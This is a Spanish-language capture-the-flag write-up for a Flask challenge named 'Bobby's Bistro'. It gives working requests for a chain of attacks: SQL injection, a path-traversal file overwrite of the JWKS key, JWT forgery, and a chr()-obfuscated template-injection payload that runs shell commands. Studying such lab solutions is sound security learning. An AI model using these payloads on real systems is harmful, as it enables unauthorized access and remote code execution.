Challenge Bobby's Bistro
Este reto consiste en explotar una cadena de vulnerabilidades en una aplicación web Flask para lograr ejecución remota de comandos (RCE) y la solución consiste en combinar SQL Injection, Path Traversal, JWT Forgery y Server-Side Template Injection (SSTI) para comprometer el sistema y extraer la flag.
Identificación de Vulnerabilidades
El análisis del código fuente revela múltiples fallos de seguridad distribuidos en distintos endpoints. El endpoint /api/chat-messages presenta una vulnerabilidad de Path Traversal, ya que concatena la entrada controlada por el usuario directamente en la ruta del archivo sin ningún tipo de sanitización:
$ grep -n "file.filename\|file.save\|UPLOADS_DIR" app.py
attachments=UPLOADS_DIR + "/" + file.filename,
file.save(UPLOADS_DIR + "/" + file.filename)
Este fallo permite guardar archivos subidos en rutas arbitrarias del servidor. Por otro lado, el proceso de verificación de JWT en auth.py carga el archivo JWKS desde el disco local:
$ grep -n "jwks_path\|PyJWKClient" auth.py
jwks_path = os.path.abspath("static/.well-known/jwks.json")
jwks_client = PyJWKClient(f"file:///{jwks_path.replace(os.sep, '/')}")
Si este archivo se sobrescribe utilizando el Path Traversal, la aplicación aceptará tokens JWT falsificados. Sin embargo, para falsificar un token es necesario conocer el identificador de un usuario válido.
Al inspeccionar el endpoint /profile, se descubre una vulnerabilidad de SQL Injection. El parámetro token se interpola directamente en una consulta de SQLAlchemy:
$ grep -n "token\|text(" app.py
token = request.form.get("token")
user_data = db.session.query(User).filter(text("token='{}'".format(token))).all()
Finalmente, el endpoint /api/announcements utiliza plantillas Chameleon e inyecta la entrada del usuario directamente en un PageTemplate de TAL. Aunque una lista negra bloquea caracteres como $, #, {, }, ", _ y ., el motor de plantillas sigue siendo susceptible a SSTI.
$ grep -n "content\|PageTemplate\|render\|replace" app.py
content = markdown.markdown(request.form.get("announcement"))
if content:
for i in '$#{}\"_.':
content = content.replace(i, "")
tpl = PageTemplate(content)
res = tpl.render()
La cadena de ataque comienza extrayendo el UUID del administrador mediante el SQL Injection en el endpoint /profile. Se envía un payload basado en booleanos para evadir la verificación y filtrar los detalles del administrador:
$ cat <<'HTTP'
POST /profile HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: application/x-www-form-urlencoded
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMzU3MWM3M2UtMTkxMy00YjFjLWI5MWQtOTllZmE1M2YzMzMwIn0.pFs-hnuTserQQ2sb74LorPDN0BrFDVU1INuvikv-faK3Unx4u4g1ZYEjlKj269bUN8OPz0dgoxjuxiPIh33MhSZEnd9p1yD2fuJw11IJne-umemc0dJKksvP-JqPS-oAR1m2KUtxFbi0uH7rI5HqwKZR7l-HXQdzFuxUpEvEL87D42GKH7ahM1drDi9N8lmTeFGwuc6TbNAlAUVac3ALNgTRp8OewAiJx5Bc8nswjapTUkNtlQNSNesOWCbp42dp5BwaL4tVSyfZ4dhlHRNZxK_htgtiWB9GiEyT4RPH3MUwg7qGTZpYYel8o4Newz29o4wm88Q2yZ1XV51VB-hlsw
token=' or 1=1-- -
HTTP
El servidor responde con la información del usuario administrador:
User ID: 284acf2c-0467-4073-8249-1651f06b9d98
Username: bobby_9805458b12c1eec088c4
Role: admin
Con el UUID del administrador obtenido, el siguiente objetivo es falsificar un JWT válido. Dado que la aplicación valida los tokens usando un archivo JWKS local, se genera un nuevo par de claves RSA para reemplazarlo:
$ openssl genrsa -out private.pem 2048
$ openssl rsa -in private.pem -pubout -out public.pem
Los parámetros de la clave pública se extraen para construir el payload del JWKS malicioso:
$ python3 -c "
from jwcrypto import jwk
with open('public.pem') as f:
key = jwk.JWK.from_pem(f.read().encode())
print(key.export(private_key=False))
"
{"e":"AQAB","kid":"IoUHDpTS7XmC_Lx8DXhR4MYOud2XcbltiuVWFlkAVac","kty":"RSA","n":"txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw"}
El payload JSON generado se estructura dentro de un archivo jwks.json, asegurando que el identificador kid coincida con el valor original esperado por la aplicación:
$ cat jwks.json
{
"keys": [
{
"kty": "RSA",
"kid": "7e02ad4fb35995e847f9d95f3ae27c7c",
"use": "sig",
"alg": "RS256",
"n": "txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw",
"e": "AQAB"
}
]
}
Para sobrescribir el archivo legítimo, se explota la vulnerabilidad de Path Traversal en el endpoint /api/chat-messages. Una petición maliciosa con contenido multipart sube el archivo JWKS forjado a la ruta ../static/.well-known/jwks.json:
$ cat <<'HTTP'
POST /api/chat-messages HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: multipart/form-data; boundary=----geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMzU3MWM3M2UtMTkxMy00YjFjLWI5MWQtOTllZmE1M2YzMzMwIn0.pFs-hnuTserQQ2sb74LorPDN0BrFDVU1INuvikv-faK3Unx4u4g1ZYEjlKj269bUN8OPz0dgoxjuxiPIh33MhSZEnd9p1yD2fuJw11IJne-umemc0dJKksvP-JqPS-oAR1m2KUtxFbi0uH7rI5HqwKZR7l-HXQdzFuxUpEvEL87D42GKH7ahM1drDi9N8lmTeFGwuc6TbNAlAUVac3ALNgTRp8OewAiJx5Bc8nswjapTUkNtlQNSNesOWCbp42dp5BwaL4tVSyfZ4dhlHRNZxK_htgtiWB9GiEyT4RPH3MUwg7qGTZpYYel8o4Newz29o4wm88Q2yZ1XV51VB-hlsw
------geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Content-Disposition: form-data; name="message"
Look
------geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Content-Disposition: form-data; name="attachment"; filename="../static/.well-known/jwks.json"
Content-Type: application/json
{
"keys": [
{
"kty": "RSA",
"kid": "7e02ad4fb35995e847f9d95f3ae27c7c",
"use": "sig",
"alg": "RS256",
"n": "txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw",
"e": "AQAB"
}
]
}
------geckoformboundary5b1e6afd1524139db64cc505bd4a878d--
HTTP
Una vez que el archivo JWKS se sobrescribe, la aplicación confía en cualquier JWT firmado por la clave privada inyectada. Se ejecuta un script para generar un token de sesión con privilegios de administrador utilizando el UUID extraído previamente:
$ python3 -c "
import jwt
with open('private.pem', 'rb') as f:
private_key = f.read()
payload = {'user_id': '284acf2c-0467-4073-8249-1651f06b9d98'}
headers = {'alg': 'RS256', 'typ': 'JWT', 'kid': '7e02ad4fb35995e847f9d95f3ae27c7c'}
token = jwt.encode(payload, private_key, algorithm='RS256', headers=headers)
print(token)
"
eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMjg0YWNmMmMtMDQ2Ny00MDczLTgyNDktMTY1MWYwNmI5ZDk4In0.jYAkBQsViGICuMe-zCBF_6LtVv7Y3y4oqZV2erULad3BP0YAYG1Bu6Js2qPD4s6EsiJfM0e2kLHvs59Jd8GRgCu1hp7IFcZk3kQx3vu7m5b-oNivYoYqMlFsgBJo86yWRr0sMMYy4AhqXNnhF8bGkZEQQCs4m9yVRHadr8kmMYq_Hwgc7zHCd_3ohJ8RKkN4FGx7QRglbqoljFtvLg7Lg89j9yaKKDhA1ve1iLvhIWX5v4dWWJhi3OSSmn1rlQQnnX-zgDWM4CL8Ca8NJF3ip8EftkXK2KeO72NpkaN1VzZCFTtTcVa4weSafa6h0SdesYnjNAaBNod9DCSWmWBo7A
El token resultante otorga acceso administrativo, permitiendo la interacción con el endpoint /api/announcements, donde reside la vulnerabilidad de SSTI. Para evadir el filtro de caracteres, se construye una expresión TAL (Template Attribute Language) usando chr() para ofuscar los caracteres bloqueados, evitando el uso de comillas, guiones bajos y puntos.
$ echo 'Obfuscated payload equivalent to:'
$ echo '<p tal:replace="__import__(\"os\").popen(\"cat /flag.txt\").read()">x</p>'
$ echo 'Using chr() concatenation to avoid blocked characters'
Aplicando la ofuscación con chr() para acceder a __builtins__.__import__ y ejecutar os.popen, se envía el payload codificado en la URL al servidor:
$ cat <<'HTTP'
POST /api/announcements HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: application/x-www-form-urlencoded
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMjg0YWNmMmMtMDQ2Ny00MDczLTgyNDktMTY1MWYwNmI5ZDk4In0.jYAkBQsViGICuMe-zCBF_6LtVv7Y3y4oqZV2erULad3BP0YAYG1Bu6Js2qPD4s6EsiJfM0e2kLHvs59Jd8GRgCu1hp7IFcZk3kQx3vu7m5b-oNivYoYqMlFsgBJo86yWRr0sMMYy4AhqXNnhF8bGkZEQQCs4m9yVRHadr8kmMYq_Hwgc7zHCd_3ohJ8RKkN4FGx7QRglbqoljFtvLg7Lg89j9yaKKDhA1ve1iLvhIWX5v4dWWJhi3OSSmn1rlQQnnX-zgDWM4CL8Ca8NJF3ip8EftkXK2KeO72NpkaN1VzZCFTtTcVa4weSafa6h0SdesYnjNAaBNod9DCSWmWBo7A
title=testinggg&announcement=%3Cp%20tal%3Adefine%3D'imp%20globals()%5Bchr(95)*2%2Bchr(98)%2Bchr(117)%2Bchr(105)%2Bchr(108)%2Bchr(116)%2Bchr(105)%2Bchr(110)%2Bchr(115)%2Bchr(95)*2%5D%5Bchr(95)*2%2Bchr(105)%2Bchr(109)%2Bchr(112)%2Bchr(111)%2Bchr(114)%2Bchr(116)%2Bchr(95)*2%5D%3B%20os%20imp(chr(111)%2Bchr(115))%3B%20pop%20getattr(os%2Cchr(112)%2Bchr(111)%2Bchr(112)%2Bchr(101)%2Bchr(110))%3B%20res%20getattr(pop(chr(99)%2Bchr(97)%2Bchr(116)%2Bchr(32)%2Bchr(47)%2Bchr(102)%2Bchr(108)%2Bchr(97)%2Bchr(103)%2Bchr(46)%2Bchr(116)%2Bchr(120)%2Bchr(116))%2Cchr(114)%2Bchr(101)%2Bchr(97)%2Bchr(100))()'%20tal%3Areplace%3D'res'%3Ex%3C%2Fp%3E
HTTP
Al renderizar la plantilla, la expresión inyectada se evalúa y ejecuta el comando como administrador del sistema, devolviendo la flag dentro de la respuesta HTTP:
HTB{FLAG}